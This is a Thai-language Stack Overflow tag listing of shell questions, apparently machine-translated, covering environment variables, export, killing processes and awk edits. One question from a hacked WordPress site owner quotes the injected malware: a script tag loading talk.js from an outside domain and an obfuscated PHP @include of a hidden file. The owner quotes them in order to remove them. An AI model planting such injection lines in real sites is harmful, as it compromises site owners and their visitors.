คำถามติดแท็ก shell

คำว่า 'เชลล์' หมายถึงคลาสทั่วไปของล่ามคำสั่งแบบโต้ตอบตามข้อความซึ่งส่วนใหญ่มักเกี่ยวข้องกับระบบปฏิบัติการ Unix & Linux สำหรับคำถามเกี่ยวกับการเขียนสคริปต์เชลล์โปรดใช้แท็กเฉพาะเพิ่มเติมเช่น 'bash', 'powershell' หรือ 'ksh' หากไม่มีแท็กเฉพาะควรใช้วิธีแก้ปัญหาแบบพกพา (POSIX-compliant) แม้ว่าจะใช้ 'posix' เพิ่มเติมหรือ 'sh' แทนก็ตาม

4
ตัวแปรสภาพแวดล้อมของฉันคืออะไร [ปิด]
ปิด. คำถามนี้เป็นคำถามปิดหัวข้อ ขณะนี้ยังไม่ยอมรับคำตอบ ต้องการปรับปรุงคำถามนี้หรือไม่ อัปเดตคำถามเพื่อให้เป็นหัวข้อสำหรับ Stack Overflow ปิดให้บริการใน7 ปีที่ผ่านมา ปรับปรุงคำถามนี้ ฉันต้องการค้นหาตัวแปรสภาพแวดล้อมของฉันใน bash เก็บไว้ที่ไหน
86 linux  bash  shell  ubuntu 

10
วิธีเรียกใช้ bash รันคำสั่งภายในเชลล์ใหม่จากนั้นให้การควบคุมกลับไปยังผู้ใช้
สิ่งนี้ต้องเรียบง่ายหรือซับซ้อนจริงๆ แต่ฉันไม่พบอะไรเลย ... ฉันกำลังพยายามเปิดอินสแตนซ์ bash ใหม่จากนั้นเรียกใช้คำสั่งสองสามคำภายในและให้การควบคุมกลับไปยังผู้ใช้ภายในนั้น เช่นเดียวกัน ฉันเหนื่อย: $ bash -lic "some_command" แต่จะดำเนินการsome_commandภายในอินสแตนซ์ใหม่จากนั้นจึงปิด ฉันต้องการให้มันเปิดอยู่ อีกหนึ่งรายละเอียดที่อาจส่งผลต่อคำตอบ: หากฉันสามารถใช้งานได้ฉันจะใช้ใน.bashrcนามแฝงของฉันดังนั้นคะแนนโบนัสสำหรับaliasการนำไปใช้งาน!
86 shell  bash 

3
คำสั่ง 'ส่งออก' ทำอะไร?
ฉันยังใหม่กับ Linux เล็กน้อยและฉันบังเอิญเรียกใช้คำสั่งสุ่มสี่สุ่มห้าเพื่อที่จะทำงานให้ลุล่วง ฉันคิดว่าการถามคำถามประเภทนี้จะไม่เป็นการสูญเปล่าเนื่องจากผู้คนใหม่ ๆ จะมีความรู้เกี่ยวกับคำถามเหล่านี้เป็นประจำ ผมเริ่มที่จะทำงานร่วมกับเจนกินส์เมื่อเร็ว ๆ นี้และจากนั้นผมต้องใช้นี้exportคำสั่งในการเรียกใช้สงครามเก็บเจนกินส์ ดังนั้นฉันจำเป็นต้องรู้ว่าexportคำสั่งทั่วไปทำอะไรและทำไมเราต้องรันคำสั่งนี้ในขณะที่เรียกใช้เจนกินส์ (หลังจากตั้งค่าบ้านของเจนกินส์แล้ว) ขอบคุณ!

9
วิธีการให้ข้อโต้แย้งเพื่อฆ่าทางท่อ
ฉันต้องการค้นหากระบวนการบางอย่างและฆ่ากระบวนการนั้น ฉันเขียนคำสั่งดังนี้: ps -e | grep dmn | awk '{print $1}' | kill dmnที่ไหนชื่อกระบวนการคือ แต่มันไม่ทำงาน ฉันจะค้นหากระบวนการตามชื่อและกระบวนการkillได้อย่างไร

7
วิธีแทนที่สตริงทั้งหมดด้วย sed หรือ grep
ดังนั้นเซิร์ฟเวอร์ทั้งหมดของฉันถูกแฮ็กหรือมีปัญหามัลแวร์ ไซต์ของฉันใช้ WordPress และไซต์ส่วนใหญ่ที่โฮสต์บนเซิร์ฟเวอร์ของฉันนั้นใช้ WordPress แฮ็กเกอร์เพิ่มรหัสบรรทัดนี้ให้กับทุกไฟล์และในฐานข้อมูล <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> ฉันค้นหาโดยใช้คำสั่ง grep grep -r "trasnaltemyrecords" /var/www/html/{*,.*} ฉันพยายามแทนที่มันตลอดโครงสร้างไฟล์ด้วยsedและฉันเขียนคำสั่งต่อไปนี้ sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php ฉันพยายามแทนที่สตริงในไฟล์เดียวindex.phpก่อนดังนั้นฉันจึงรู้ว่ามันใช้งานได้ และฉันรู้ว่ารหัสของฉันผิด โปรดช่วยฉันด้วยสิ่งนี้ ฉันลองใช้รหัส @ Eran และลบทั้งบรรทัดซึ่งดีและเป็นไปตามที่คาดไว้ อย่างไรก็ตามศัพท์แสงทั้งหมดนี้ /*ee8fa*/ @include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o"; /*ee8fa*/ <?phpและในขณะที่ฉันต้องการที่จะลบเนื้อหาทั้งหมดที่ฉันต้องการให้แท็ก PHP เปิด แม้ว่าโซลูชันของ @ slybloty นั้นใช้งานง่ายและใช้งานได้ ดังนั้นเพื่อลบรหัสออกจากไฟล์ที่ได้รับผลกระทบทั้งหมด ฉันใช้ 3 คำสั่งต่อไปนี้ขอบคุณทุกท่านสำหรับสิ่งนี้ find . -type f -name …
10 bash  shell  sed  grep 

3
บันทึกการแก้ไขในสถานที่ด้วย NON GNU awk
ฉันเจอคำถาม (ในตัวเองดังนั้น) ที่ OP จะต้องแก้ไขและบันทึกการดำเนินการใน Input_file (s) ตัวเอง ฉันรู้สำหรับ Input_file เดียวที่เราสามารถทำได้: awk '{print "test here..new line for saving.."}' Input_file > temp && mv temp Input_file ตอนนี้สมมติว่าเราต้องทำการเปลี่ยนแปลงในรูปแบบไฟล์ประเภทเดียวกัน (สมมติว่า. txt ที่นี่) สิ่งที่ฉันได้ลอง / คิดเกี่ยวกับปัญหานี้:วิธีการของมันคือการผ่านสำหรับไฟล์. txt และการเรียกไฟล์เดี่ยวawkนั้นเป็นกระบวนการที่ไม่เจ็บปวดและไม่แนะนำเนื่องจากมันจะทำให้วงจรซีพียูที่ไม่จำเป็นขาดหายไป ช้า. ดังนั้นสิ่งที่สามารถทำได้ที่นี่เพื่อทำการแก้ไขแบบ inplace สำหรับหลายไฟล์ด้วย NON GNU awkซึ่งไม่รองรับตัวเลือก inplace ฉันได้ผ่านหัวข้อนี้แล้วบันทึกการแก้ไขด้วย awkแต่ไม่มีอะไรมากสำหรับ NON GNU awk Vice และการเปลี่ยนไฟล์หลาย ๆ …

3
ฉันจะสร้าง Python Shell แบบ IDLE ขนาดเล็กใน Tkinter ได้อย่างไร
ฉันกำลังพยายามสร้างสิ่งที่ควบคุมโดย Python Shell GUI สิ่งเดียวคือฉันไม่ทราบวิธีการทำสิ่งที่อินพุต / เอาต์พุตทั้งหมด ฉันแค่ต้องการพิมพ์อินพุตดำเนินการคำสั่ง python และให้เอาต์พุตของคำสั่ง python ฉันรู้ว่า IDLE ถูกสร้างขึ้นใน Tkinter ดังนั้นมันจึงใช้วิดเจ็ต มันเป็นเพียงแค่ "อินพุตประเภทแสดงผลลัพธ์" ฉันได้ลองค้นหา แต่ดูเหมือนว่าผลลัพธ์ส่วนใหญ่เกี่ยวข้องกับบรรทัดคำสั่งซึ่งไม่ใช่สิ่งที่ฉันกำลังมองหา อีกคำถามเดียวที่เหมือนกับของฉันไม่ใช่สิ่งที่ฉันมีอยู่ในใจเช่นกัน ฉันยังลอง loking รหัสแหล่งที่มาสำหรับ IDLE แต่ไม่พบสิ่งที่ฉันกำลังมองหา ฉันพบคำตอบบางอย่างที่ใช้ได้กับ Linux แต่ฉันใช้งาน Windows 10 ... ฉันต้องการ "shell" เพื่อให้อยู่ใน Tkinter เพราะด้านหนึ่งของหน้าจอจะเป็นอย่างอื่นที่เชื่อมต่อกับเอาต์พุตคำสั่ง ไม่มีใครรู้ว่าเครื่องมือที่ใช้ในการทำเปลือกหลามง่ายมาก?
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.